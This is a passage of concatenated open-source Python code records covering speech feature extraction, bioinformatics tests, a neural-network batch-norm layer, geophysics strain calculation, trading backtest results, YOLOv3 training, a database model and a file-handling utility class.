type_feature_extractor == 'sid8k':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=8000,\n lower_frequency=0,\n higher_frequency=4000,\n filter_bank=\"log\",\n filter_bank_size=24,\n window_size=0.025,\n shift=0.01,\n ceps_number=12,\n pre_emphasis=0.95,\n keep_all_features=True,\n #vad='percentil',\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif type_feature_extractor == '8k' or type_feature_extractor == '8kcms'\\\n or type_feature_extractor == '8ksns':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=8000,\n lower_frequency=0,\n higher_frequency=4000,\n filter_bank=\"log\",\n filter_bank_size=24,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n #vad='percentil',\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif type_feature_extractor == 'basic':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=16000,\n lower_frequency=133.3333,\n higher_frequency=6855.4976,\n filter_bank=\"log\",\n filter_bank_size=40,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n else:\n logging.error('in get_feature_server, type_fe not found: ' + type_feature_extractor)\n return None\n return fe\n\n\ndef get_feature_server(filename_structure, feature_server_type):\n path, show, ext = path_show_ext(filename_structure)\n feature_filename_structure = None\n logging.info(path+' ## '+show+' ## '+ext)\n if ext.endswith('.h5') or ext.endswith('.hdf5'):\n feature_extractor = None\n feature_filename_structure = filename_structure\n logging.info('feature extractor --> None')\n else:\n audio_filename_structure = filename_structure\n feature_extractor = get_feature_extractor(audio_filename_structure, type_feature_extractor=feature_server_type)\n logging.info('-'*20)\n logging.info(feature_extractor)\n logging.info('-'*20)\n if feature_server_type == 'basic':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy', 'cep'),\n keep_all_features=True)\n elif feature_server_type == 'sns':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n keep_all_features=True)\n elif feature_server_type == 'sns_dnn':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n context=(31, 31),\n keep_all_features=True)\n elif feature_server_type == 'sid':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy', 'cep'),\n feat_norm='cmvn_sliding',\n delta=True,\n double_delta=True,\n keep_all_features=True)\n elif feature_server_type == 'sid8k':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n feat_norm='cmvn_sliding',\n delta=True,\n double_delta=False,\n keep_all_features=True)\n elif feature_server_type == '8k':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n #delta=True,\n keep_all_features=True)\n elif feature_server_type == '8ksns':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n delta=True,\n keep_all_features=True)\n elif feature_server_type == '8kcms':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('cep'),\n feat_norm='cms',\n #delta=True,\n keep_all_features=True)\n elif feature_server_type == 'vad':\n feature_server = FeaturesServer(features_extractor=feature_extractor,\n feature_filename_structure=feature_filename_structure,\n dataset_list=('energy'),\n keep_all_features=True)\n else:\n logging.error('in get_feature_server, feature_server_type not found: ' + feature_server_type)\n return None\n logging.info(feature_server)\n return feature_server\n\n# def get_feature_server(input_dir='./{s}.h5', feature_server_type):\n# logging.info('get_feature_server type: '+feature_server_type)\n# if feature_server_type == 'diarization':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k')\n# elif feature_server_type == 'sid':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k', log_e=True, delta=True,\n# double_delta=True, feat_norm='cms_sliding')\n# elif feature_server_type == 'sad':\n# return FeaturesServer_test(input_dir=input_dir,\n# config='diar_16k', log_e=False, delta=True, double_delta=False)\n# else:\n# logging.error('in get_feature_server, feature_server_type not found: ' + feature_server_type)\n# return None\n\n\n# def save_mfcc(diarization, audio_dir, mfcc_fn, feature_server_type):\n# fh = h5py.File(mfcc_fn, \"w\")\n# diar_out = diarization.copy_structure()\n# shows = diarization.make_index(['show'])\n#\n# for show in shows:\n# # logging.info('mfcc: '+ show)\n# show_diar = shows[show]\n# model_iv = ModelIV()\n# feature_server = get_feature_server(audio_dir, feature_server_type=feature_server_type)\n# model_iv.set_feature_server(feature_server)\n# model_iv.set_diar(show_diar)\n# if feature_server_type == 'sid':\n# model_iv.vad()\n# else:\n# model_iv.diar_vad = show_diar\n#\n# cep_full, _ = feature_server.load(show)\n# cluster_list = model_iv.diar_vad.make_index(['cluster'])\n# index = model_iv.diar_vad.features_by_cluster(show=show, cep_len=cep_full.shape[0])\n# for cluster in cluster_list:\n# logging.info('mfcc: '+show+' '+cluster)\n# mfcc_fn = show+'/'+cluster\n# cep = cep_full[index[cluster], :]\n# vad = numpy.ones(cep.shape[0])\n# diar_out.append(show=mfcc_fn, start=0, stop=cep.shape[0], cluster=cluster)\n# logging.info(cep.shape)\n# write_hdf5(mfcc_fn, fh, cep, None, None, None, label=vad)\n# return diar_out\n\n# def save_mfcc(diarization, audio_dir='./', mfcc_fn='./out.h5', feature_server_type='sid'):\n# fh = h5py.File(mfcc_fn, \"w\")\n# shows = diarization.unique('show')\n# diar_out = diarization.copy_structure()\n# shows = diarization.make_index(['show'])\n# for show in shows:\n# # logging.info('mfcc: '+ show)\n# show_diar = shows[show]\n# model_iv = ModelIV()\n# feature_server = get_feature_server(audio_dir, feature_server_type=feature_server_type)\n# model_iv.set_feature_server(feature_server)\n# model_iv.set_diar(show_diar)\n# if feature_server_type == 'sid':\n# model_iv.vad()\n# else:\n# model_iv.diar_vad = show_diar\n# feature_server.load(show)\n# cep_full = feature_server.cep[0]\n# cluster_list = model_iv.diar_vad.make_index(['cluster'])\n# index = model_iv.diar_vad.features_by_cluster(show=show, cep_len=cep_full.shape[0])\n# for cluster in cluster_list:\n# logging.info('mfcc: '+show+' '+cluster)\n# mfcc_fn = show+'/'+cluster\n# cep = cep_full[index[cluster], :]\n# vad = numpy.ones(cep.shape[0])\n# diar_out.append(show=mfcc_fn, start=0, stop=cep.shape[0], cluster=cluster)\n# write_hdf5(mfcc_fn, fh, cep, label=vad)\n# return diar_out\n\nclass FeatureServerFake(FeaturesServer):\n def __init__(self, cep):\n self.cep = cep\n\n def load(self, show, channel=0, input_feature_filename=None, label=None, start=None, stop=None):\n return self.cep, numpy.ones(self.cep.shape[0], dtype='bool')\n\nclass FeatureServerCache(FeaturesServer):\n def __init__(self, featuresServer):\n self.shows = dict()\n self.featuresServer = featuresServer\n\n\n def load(self, show, channel=0, input_feature_filename=None, label=None, start=None, stop=None):\n key = show\n if label is not None:\n key += '##'+label\n #if start is not None:\n # key += '##'+str(start)+'##'+str(stop)\n #for k in self.shows:\n # logging.info('key: %s', k)\n if key in self.shows:\n #logging.info('load from mem '+key)\n cep = self.shows[key][start:stop,:]\n return cep, numpy.ones(cep.shape[0], dtype='bool')\n else:\n #logging.info('load from disque %s', key)\n cep, lbl = self.featuresServer.load(show, label=label, start=start, stop=stop)\n self.shows[key] = cep\n #logging.info('add: %s %d %d', key, (key in self.shows), True)\n return cep, lbl\n", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 1 16:58:25 2018\n\n@author: suliat16\n\"\"\"\nimport os\nfrom consScore import aminoCons as am\nimport biskit.test\n\nclass test_amino_conservation(biskit.test.BiskitTest):\n\n \"\"\"\n Test suite testing the behaviour of the aminoCons module\n \"\"\"\n\n TAGS = [biskit.test.EXE, biskit.test.LONG]\n\n @classmethod\n def setUpClass(cls):\n cls.filepath = os.getcwd() + os.sep + 'example_data'\n\n def test_clean_alignment(self):\n \"\"\"Tests to see that alignment file and the folder created are deleted\n after calling clean argument\"\"\"\n extra_aln = am.build_alignment(self.filepath +os.sep + 'multiFasta.fasta')\n self.assertTrue(os.path.exists(extra_aln))\n am.clean_alignment(extra_aln, cache=False)\n self.assertFalse(os.path.exists(extra_aln))\n\n def test_exe_mafft(self):\n \"\"\"Tests that the Mafft executor module calls mafft\"\"\"\n extra_aln = am.MAFFT(self.filepath + os.sep + 'multiFasta.fasta')\n aln_path = extra_aln.run()\n self.assertTrue(os.path.exists(aln_path))\n am.clean_alignment(aln_path, cache=False)\n self.assertFalse(os.path.exists(aln_path))\n\n def test_get_alpha_g(self):\n \"\"\"Tests that get alpha can retrieve the alpha parameter from the file\"\"\"\n digit = am.get_alpha(self.filepath + os.sep + 'multiFasta.res')\n self.assertEqual(digit, 2.83688)\n \n def test_get_alpha_nofile(self):\n \"\"\"Test that an error is raised if a non-existent file is given to get_alpha\"\"\"\n with self.assertRaises(FileNotFoundError):\n am.get_alpha(self.filepath + os.sep + 'TheTree.txt')\n\n def test_getalpha_badfile(self):\n \"\"\"Tests that an error is raised if get_alpha is called on an incompatible file\"\"\"\n with self.assertRaises(am.Rate4SiteError) as cm:\n am.get_alpha(self.filepath + os.sep + 'Fak2Human.fasta')\n err = cm.exception\n self.assertEqual(str(err), 'File format is not supported')\n\n def test_r2mat_g(self):\n \"\"\"Tests that r2mat outputs the correct defaults for the dictionary\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta')\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', 0.6979),\n 1:('A', 0.6979),\n 2:('C', 0.7026),\n 3:('C', 0.7026),\n 4:('G', 0.1769),\n 5:('G', 0.1769),\n 6:('T', -1.577),\n 7:('T', -1.577)}\n self.assertDictEqual(dictionary, output)\n\n def test_r2mat_multi(self):\n \"\"\"Tests that the correct dictionary is output when some parameters are set\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', score=True, qqint=True, gapped=True)\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', 0.6979, (-1.946, 2.735), '3/3'),\n 1:('A', 0.6979, (-1.946, 2.735), '3/3'),\n 2:('C', 0.7026, (-1.946, 2.735), '3/3'),\n 3:('C', 0.7026, (-1.946, 2.735), '3/3'),\n 4:('G', 0.1769, (-2.332, 1.853), '3/3'),\n 5:('G', 0.1769, (-2.332, 1.853), '3/3'),\n 6:('T', -1.577, (-3.889, -0.7852), '3/3'),\n 7:('T', -1.577, (-3.889, -0.7852), '3/3')}\n self.assertDictEqual(output, dictionary)\n\n def test_r2mat_score(self):\n \"\"\"Tests that correct dictionary is output when other parameters are set\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', score=False, qqint=True, gapped=True, std=True)\n output = test.rate2dict(self.filepath + os.sep + 'multiFasta.res')\n dictionary = {0:('A', (-1.946, 2.735), 2.836, '3/3'),\n 1:('A', (-1.946, 2.735), 2.836, '3/3'),\n 2:('C', (-1.946, 2.735), 2.836, '3/3'),\n 3:('C', (-1.946, 2.735), 2.836, '3/3'),\n 4:('G', (-2.332, 1.853), 2.725, '3/3'),\n 5:('G', (-2.332, 1.853), 2.725, '3/3'),\n 6:('T', (-3.889, -0.7852), 2.309, '3/3'),\n 7:('T', (-3.889, -0.7852), 2.309, '3/3')}\n self.assertDictEqual(output, dictionary)\n\n def test_r2prof(self):\n \"\"\"tests that rate2profile correctly creates profile collections with the correct output\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta', qqint=True, std=True, gapped=True)\n output = test.rate2profile(self.filepath + os.sep + 'multiFasta.res')\n self.assertEqual(5, len(output))\n self.assertTrue('Amino Acid' in output)\n self.assertTrue('Conservation Score' in output)\n self.assertTrue('Standard Deviation' in output)\n self.assertTrue('QQ interval' in output)\n self.assertTrue('Gapped' in output)\n self.assertTrue(isinstance(output, biskit.ProfileCollection))\n\n def test_r2prof_default(self):\n \"\"\"Tests that the default rate2site instantiation produces the right profile\"\"\"\n test = am.Rate4Site(self.filepath + os.sep + 'multiFasta.fasta')\n output = test.rate2profile(self.filepath + os.sep + 'multiFasta.res')\n self.assertTrue('Amino Acid' in output)\n self.assertTrue('Conservation Score' in output)\n self.assertEqual(2, len(output))\n self.assertTrue(isinstance(output, biskit.ProfileCollection))\n\n def test_r4s_close(self):\n \"\"\"Tests to see that close deletes the correct files\"\"\"\n r4sobject = am.Rate4Site(self.filepath + os.sep + 'multiFasta.aln')\n r4sobject.run()\n self.assertTrue(os.path.isfile(os.getcwd() + os.sep + 'multiFasta.res'))\n r4sobject.close()\n self.assertFalse(os.path.isfile(os.getcwd() + os.sep + 'multiFasta.res'))\n self.assertFalse(os.path.isdir(os.getcwd() + os.sep + 'multiFasta'))\n\n @classmethod\n def tearDownClass(cls):\n am.clean_alignment(os.getcwd() + os.sep + 'multiFasta.aln', cache=False)\n\nif __name__ == '__main__':\n biskit.test.localTest()\n", "source": "suliat16/consScore", "license": "MIT"} {"text": "\"\"\"Batch norm layer\"\"\"\nfrom torch import nn as tnn\nfrom .base import Module, nitorchmodule\n\n\nclass BatchNorm(Module):\n \"\"\"Batch normalization layer.\"\"\"\n def __init__(self, dim, nb_channels, *args, **kwargs):\n \"\"\"\n Parameters\n ----------\n dim : {1, 2, 3}\n Spatial dimension\n nb_channels : int\n Number of channels in the input image\n eps : float, default=1e-5\n A value added to the denominator for numerical stability\n momentum : float, default=0.1\n The value used for the running_mean and running_var computation.\n Can be set to ``None`` for cumulative moving average\n (i.e. simple average).\n affine : bool, default=True\n When ``True``, this module has learnable affine parameters.\n track_running_stats : bool, default=True\n If``True``, track the running mean and variance.\n If ``False``, do not track such statistics and use batch\n statistics instead in both training and eval modes if the\n running mean and variance are ``None``\n\n \"\"\"\n super().__init__()\n\n # Store dimension\n self.dim = dim\n\n # Select Layer\n if dim == 1:\n self.batchnorm = nitorchmodule(tnn.BatchNorm1d)(nb_channels, *args, **kwargs)\n elif dim == 2:\n self.batchnorm = nitorchmodule(tnn.BatchNorm2d)(nb_channels, *args, **kwargs)\n elif dim == 3:\n self.batchnorm = nitorchmodule(tnn.BatchNorm3d)(nb_channels, *args, **kwargs)\n else:\n NotImplementedError('BatchNorm is only implemented in 1, 2, or 3D.')\n\n def forward(self, x):\n \"\"\"Forward pass.\n\n Parameters\n ----------\n x : (batch, channel, *spatial) tensor\n Input tensor\n\n Returns\n -------\n x : (batch, channel, *spatial) tensor\n Normalized tensor\n\n \"\"\"\n return self.batchnorm(x)\n\n def __str__(self):\n s = [f'{self.batchnorm.num_features}']\n if self.batchnorm.eps != 1e-5:\n s += [f'eps={eps}']\n if self.batchnorm.momentum != 0.1:\n s += [f'momentum={momentum}']\n if not self.batchnorm.affine:\n s += [f'affine=False']\n if not self.batchnorm.track_running_stats:\n s += [f'track_running_stats=False']\n s = ', '.join(s)\n return f'BatchNorm({s})'\n \n __repr__ = __str__\n", "source": "liamchalcroft/nitorch", "license": "MIT"} {"text": "import sys; sys.path.append('../tde')\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tde\n\n# tri dislocation parameters\npr = 0.25\n#ss = -1.\nss = 0.\n#ts = 0.\nts = -1.\nds = 0.\nN = 30\n\nsx, sy, sz = np.meshgrid( np.linspace(0, 100, N), np.linspace(0, 100, N), 0)\n\nsxr = sx.ravel(order='F')\nsyr = sy.ravel(order='F')\nszr = sz.ravel(order='F')\n\nX = np.array([40., 60., 40.])\nY = np.array([50., 50., 30.])\nZ = np.array([0., 0., 20.])\n\nS = tde.calc_tri_strains(sxr, syr, szr, X, Y, Z, pr, ss, ts, ds)\n\nU = tde.calc_tri_displacements(sxr, syr, szr, X, Y, Z, pr, ss, ts, ds)\n\n\n#plt.figure()\n#plt.quiver(sxr, syr, U['x'], U['y'])\n\n#plt.show()\n", "source": "uc-eqgeo/rnc2-earthquakes", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"Functions from market data\"\"\"\n\n__author__ = \"Miguel Martin\"\n__version__ = \"1\"\n\nimport numpy as np\nfrom pyquanttrade.engine.utils import (\n max_drawdown_ratio,\n max_drawdown_value,\n safe_div,\n safe_min,\n safe_sum,\n safe_mean,\n)\nfrom pyquanttrade.engine.test_summary import TestSummary\nfrom pyquanttrade.engine.stats.daily_stats import DailyStats\nfrom pyquanttrade.engine.stats.summary_stats import SystemSummaryStats\nfrom pyquanttrade.engine.stats.trade_stats import TradeSummaryStats\nfrom pyquanttrade.engine.trade import TradeList\n\n\nclass TestResult:\n def __init__(self, data_sim, ticker, capital):\n self.data = DailyStats(data_sim, ticker, capital)\n self.capital = capital\n\n def add_ticker(self, data_sim, ticker, capital):\n self.data.add_ticker(data_sim, ticker, capital) \n\n def update(self, i, trade_list, ticker):\n self.data.update(i,trade_list, ticker)\n\n def describe(self, baseline=False):\n self.data.generate_all_stats()\n\n summary_stats = SystemSummaryStats(self.data)\n trade_summary_stats = {ticker:TradeSummaryStats(self.data.trade_list.clone(ticker), \n self.data.long_ticker[ticker], \n self.data.short_ticker[ticker], \n self.data.global_ticker[ticker], \n self.data.tickers_capital[ticker]) for ticker in self.data.tickers}\n \n trade_summary_stats['all'] = TradeSummaryStats(self.data.trade_list, self.data.long_all, self.data.short_all, self.data.global_all, np.sum(list(self.data.tickers_capital.values())))\n \n trade_summary_table = {t:v.toDataFrame() for (t,v) in trade_summary_stats.items()}\n return TestSummary(summary_stats.ticker_stats, trade_summary_table)\n\n\n", "source": "marqueles/pyquanttrade", "license": "BSD-2-Clause"} {"text": "# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport contextlib\nimport os\n\nimport numpy as np\n\nimport paddle\nfrom paddle import fluid\nfrom paddle.fluid.optimizer import Momentum\nfrom paddle.io import DataLoader, DistributedBatchSampler\nfrom paddle.vision.transforms import Compose, BatchCompose\n\nfrom modeling import yolov3_darknet53, YoloLoss\nfrom coco import COCODataset\nfrom coco_metric import COCOMetric\nfrom transforms import *\nfrom utils import print_arguments\n\nNUM_MAX_BOXES = 50\n\n\ndef make_optimizer(step_per_epoch, parameter_list=None):\n base_lr = FLAGS.lr\n warmup_steps= 1000\n momentum = 0.9\n weight_decay = 5e-4\n boundaries = [step_per_epoch * e for e in [200, 250]]\n values = [base_lr * (0.1**i) for i in range(len(boundaries) + 1)]\n learning_rate = paddle.optimizer.PiecewiseLR(\n boundaries=boundaries, values=values)\n learning_rate = paddle.optimizer.LinearLrWarmup(\n learning_rate=learning_rate,\n warmup_steps=warmup_steps,\n start_lr=base_lr / 3.,\n end_lr=base_lr)\n optimizer = paddle.optimizer.Momentum(\n learning_rate=learning_rate,\n weight_decay=weight_decay,\n momentum=momentum,\n parameters=parameter_list)\n return optimizer\n\n\ndef main():\n paddle.enable_static() if FLAGS.dynamic else None\n\n if not FLAGS.eval_only: # training mode\n train_transform = Compose([\n ColorDistort(), RandomExpand(), RandomCrop(), RandomFlip(),\n NormalizeBox(), PadBox(), BboxXYXY2XYWH()\n ])\n\n train_collate_fn = BatchCompose([RandomShape(), NormalizeImage()])\n dataset = COCODataset(\n dataset_dir=FLAGS.data,\n anno_path='annotations/instances_train2017.json',\n image_dir='train2017',\n with_background=False,\n mixup=True,\n transform=train_transform)\n batch_sampler = DistributedBatchSampler(\n dataset, batch_size=FLAGS.batch_size, shuffle=True, drop_last=True)\n loader = DataLoader(\n dataset,\n batch_sampler=batch_sampler,\n num_workers=FLAGS.num_workers,\n return_list=True,\n collate_fn=train_collate_fn)\n else: # evaluation mode\n eval_transform = Compose([\n ResizeImage(target_size=608), NormalizeBox(), PadBox(),\n BboxXYXY2XYWH()\n ])\n\n eval_collate_fn = BatchCompose([NormalizeImage()])\n dataset = COCODataset(\n dataset_dir=FLAGS.data,\n anno_path='annotations/instances_val2017.json',\n image_dir='val2017',\n with_background=False,\n transform=eval_transform)\n # batch_size can only be 1 in evaluation for YOLOv3\n # prediction bbox is a LoDTensor\n batch_sampler = DistributedBatchSampler(\n dataset, batch_size=1, shuffle=False, drop_last=False)\n loader = DataLoader(\n dataset,\n batch_sampler=batch_sampler,\n num_workers=FLAGS.num_workers,\n return_list=True,\n collate_fn=eval_collate_fn)\n\n pretrained = FLAGS.eval_only and FLAGS.weights is None\n model = yolov3_darknet53(\n num_classes=dataset.num_classes,\n num_max_boxes=NUM_MAX_BOXES,\n model_mode='eval' if FLAGS.eval_only else 'train',\n pretrained=pretrained)\n\n if FLAGS.pretrain_weights and not FLAGS.eval_only:\n model.load(\n FLAGS.pretrain_weights, skip_mismatch=True, reset_optimizer=True)\n\n optim = make_optimizer(\n len(batch_sampler), parameter_list=model.parameters())\n\n model.prepare(\n optimizer=optim, loss=YoloLoss(num_classes=dataset.num_classes))\n\n # NOTE: we implement COCO metric of YOLOv3 model here, separately\n # from 'prepare' and 'fit' framework for follwing reason:\n # 1. YOLOv3 network structure is different between 'train' and\n # 'eval' mode, in 'eval' mode, output prediction bbox is not the\n # feature map used for YoloLoss calculating\n # 2. COCO metric behavior is also different from defined Metric\n # for COCO metric should not perform accumulate in each iteration\n # but only accumulate at the end of an epoch\n if FLAGS.eval_only:\n if FLAGS.weights is not None:\n model.load(FLAGS.weights, reset_optimizer=True)\n preds = model.predict(loader, stack_outputs=False)\n _, _, _, img_ids, bboxes = preds\n\n anno_path = os.path.join(FLAGS.data,\n 'annotations/instances_val2017.json')\n coco_metric = COCOMetric(anno_path=anno_path, with_background=False)\n for img_id, bbox in zip(img_ids, bboxes):\n coco_metric.update(img_id, bbox)\n coco_metric.accumulate()\n coco_metric.reset()\n return\n\n if FLAGS.resume is not None:\n model.load(FLAGS.resume)\n\n save_dir = FLAGS.save_dir or 'yolo_checkpoint'\n\n model.fit(train_data=loader,\n epochs=FLAGS.epoch - FLAGS.no_mixup_epoch,\n save_dir=os.path.join(save_dir, \"mixup\"),\n save_freq=10)\n\n # do not use image mixup transfrom in the last FLAGS.no_mixup_epoch epoches\n dataset.mixup = False\n model.fit(train_data=loader,\n epochs=FLAGS.no_mixup_epoch,\n save_dir=os.path.join(save_dir, \"no_mixup\"),\n save_freq=5)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\"Yolov3 Training on VOC\")\n parser.add_argument(\n \"--data\",\n type=str,\n default='dataset/voc',\n help=\"path to dataset directory\")\n parser.add_argument(\n \"--device\", type=str, default='gpu', help=\"device to use, gpu or cpu\")\n parser.add_argument(\n \"-d\", \"--dynamic\", action='store_true', help=\"enable dygraph mode\")\n parser.add_argument(\n \"--eval_only\", action='store_true', help=\"run evaluation only\")\n parser.add_argument(\n \"-e\", \"--epoch\", default=300, type=int, help=\"number of epoch\")\n parser.add_argument(\n \"--no_mixup_epoch\",\n default=30,\n type=int,\n help=\"number of the last N epoch without image mixup\")\n parser.add_argument(\n '--lr',\n '--learning-rate',\n default=0.001,\n type=float,\n metavar='LR',\n help='initial learning rate')\n parser.add_argument(\n \"-b\", \"--batch_size\", default=16, type=int, help=\"batch size\")\n parser.add_argument(\n \"-j\",\n \"--num_workers\",\n default=4,\n type=int,\n help=\"reader worker number\")\n parser.add_argument(\n \"-p\",\n \"--pretrain_weights\",\n default=None,\n type=str,\n help=\"path to pretrained weights\")\n parser.add_argument(\n \"-r\", \"--resume\", default=None, type=str, help=\"path to model weights\")\n parser.add_argument(\n \"-w\",\n \"--weights\",\n default=None,\n type=str,\n help=\"path to weights for evaluation\")\n parser.add_argument(\n \"-s\",\n \"--save_dir\",\n default=None,\n type=str,\n help=\"directory path for checkpoint saving, default ./yolo_checkpoint\")\n FLAGS = parser.parse_args()\n print_arguments(FLAGS)\n assert FLAGS.data, \"error: must provide data path\"\n main()\n", "source": "heavengate/hapi", "license": "Apache-2.0"} {"text": "from sqlalchemy.orm import relationship\nfrom app import db\n\n\nclass Qualification(db.Model):\n __tablename__ = \"qualifications\"\n\n id = db.Column(db.Integer, primary_key=True)\n prisoners_id = db.Column(db.Integer, db.ForeignKey(\"prisoner.id\"))\n skill = db.Column(db.String(128), nullable=False)\n level = db.Column(db.Integer, nullable=False)\n\n assigned_prisoner = relationship(\n \"Prisoner\", back_populates=\"qualifications\", lazy=\"joined\"\n )\n\n def __init__(self, prisoners_id: int, skill: str, level: str) -> None:\n super().__init__()\n self.prisoners_id = prisoners_id\n self.skill = skill\n self.level = level\n\n def __str__(self) -> str:\n return f\"{self.__tablename__} prisoners id: {self.prisoners_id} skill: {self.skill} level: {self.level}\"\n", "source": "Debskij/prisonboard", "license": "Apache-2.0"} {"text": "import os\nimport copy\nimport json\nimport logging\nimport mmap\n\nimport yaml\nimport magic\n\nfrom chibi.atlas import _wrap\nfrom chibi.file.path import Chibi_path\nfrom chibi.file.snippets import (\n exists, stat, check_sum_md5, read_in_chunks, base_name, file_dir,\n copy as copy_file,\n)\n\n\nlogger = logging.getLogger( 'chibi.file.chibi_file' )\n\n\nclass Chibi_file:\n def __new__( cls, path, *args, **kw ):\n from .other import find_correct_class\n cls = find_correct_class( path, cls )\n obj = super().__new__( cls )\n return obj\n\n def __init__( self, file_name, encoding=None, newline=None ):\n self.encoding = encoding\n self.newline = newline\n self._file_name = file_name\n self._current_dir = file_dir( file_name )\n if not self.exists:\n self.touch()\n self.reread()\n\n def __str__( self ):\n return \"file: '{}'\".format( self.path )\n\n @property\n def file_name( self ):\n return base_name( self._file_name )\n\n @property\n def dir( self ):\n return self._current_dir\n\n @property\n def path( self ):\n return Chibi_path( self._file_name )\n\n @property\n def is_empty( self ):\n return self.properties.size == 0\n\n @property\n def properties( self ):\n prop = stat( self.path )\n prop.mime = magic.Magic( mime=True ).from_file( self.path )\n prop.extension = os.path.splitext( self.path )[1][1:]\n return prop\n\n def __del__( self ):\n try:\n self.file.close()\n except AttributeError:\n pass\n\n def close( self ):\n self.file.close()\n\n def find( self, string_to_find ):\n if isinstance( string_to_find, str ):\n string_to_find = string_to_find.encode()\n with mmap.mmap(\n self.file.fileno(), 0, prot=mmap.PROT_READ ) as f:\n\n return f.find( string_to_find )\n\n def reread( self ):\n self.file = self._open( 'r' )\n\n def __contains__( self, string ):\n return self.find( string ) >= 0\n\n def append( self, string ):\n if isinstance( string, ( bytes, bytearray ) ):\n with self._open( 'ab' ) as f:\n f.write( string )\n else:\n with self._open( 'a' ) as f:\n f.write( string )\n self.reread()\n\n def write( self, string ):\n if isinstance( string, ( bytes, bytearray ) ):\n with self._open( 'wb' ) as f:\n f.write( string )\n else:\n with self._open( 'w' ) as f:\n f.write( string )\n self.reread()\n\n def read( self ):\n \"\"\"\n lee todo el archivo\n \"\"\"\n result = self.file.read()\n self.reread()\n return result\n\n @property\n def file( self ):\n return self._file_content\n\n @file.setter\n def file( self, value ):\n try:\n old_file = self._file_content\n old_file.close()\n except AttributeError:\n pass\n self._file_content = value\n\n @property\n def exists( self ):\n return exists( self.path )\n\n def touch( self ):\n open( self.path, 'a' ).close()\n\n def copy( self, dest, verbose=True, **kw ):\n copy_file( self.path, dest, verbose=verbose, **kw )\n\n def chunk( self, chunk_size=4096 ):\n return read_in_chunks( self.path, 'r', chunk_size=chunk_size )\n\n def check_sum_md5( self, check_sum ):\n return check_sum_md5( self.path, check_sum )\n\n def read_json( self ):\n logger.warning( 'deprecated' )\n self.reread()\n return _wrap( json.load( self.file ) )\n\n def write_json( self, data ):\n logger.warning( 'deprecated' )\n self.write( json.dumps( data ) )\n\n def read_yaml( self ):\n logger.warning( 'deprecated' )\n self.reread()\n result = yaml.load( self.file, Loader=yaml.FullLoader )\n return _wrap( result )\n\n def write_yaml( self, data, is_safe=False ):\n logger.warning( 'deprecated' )\n if is_safe:\n self.write( yaml.safe_dump( data ) )\n else:\n self.write( yaml.dump( data ) )\n\n def __copy__( self ):\n return type( self )( self.path )\n\n def __eq__( self, other ):\n if isinstance( other, Chibi_file ):\n return self.path == other.path\n return False\n\n def __iadd__( self, other ):\n if ( isinstance( other, str ) ):\n self.append( other )\n return self\n if ( isinstance( other, Chibi_file ) ):\n if self == other:\n self += \"\".join( other.chunk() )\n return self\n\n other = copy.copy( other )\n for chunk in other.chunk():\n self += chunk\n return self\n self += str( other )\n\n def _open( self, mode ):\n return open(\n self.path, mode, encoding=self.encoding, newline=self.newline )\n", "source": "dem4ply/chibi", "license": "WTFPL"} {"text": "# ===============================================================================\n# Copyright 2013 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing 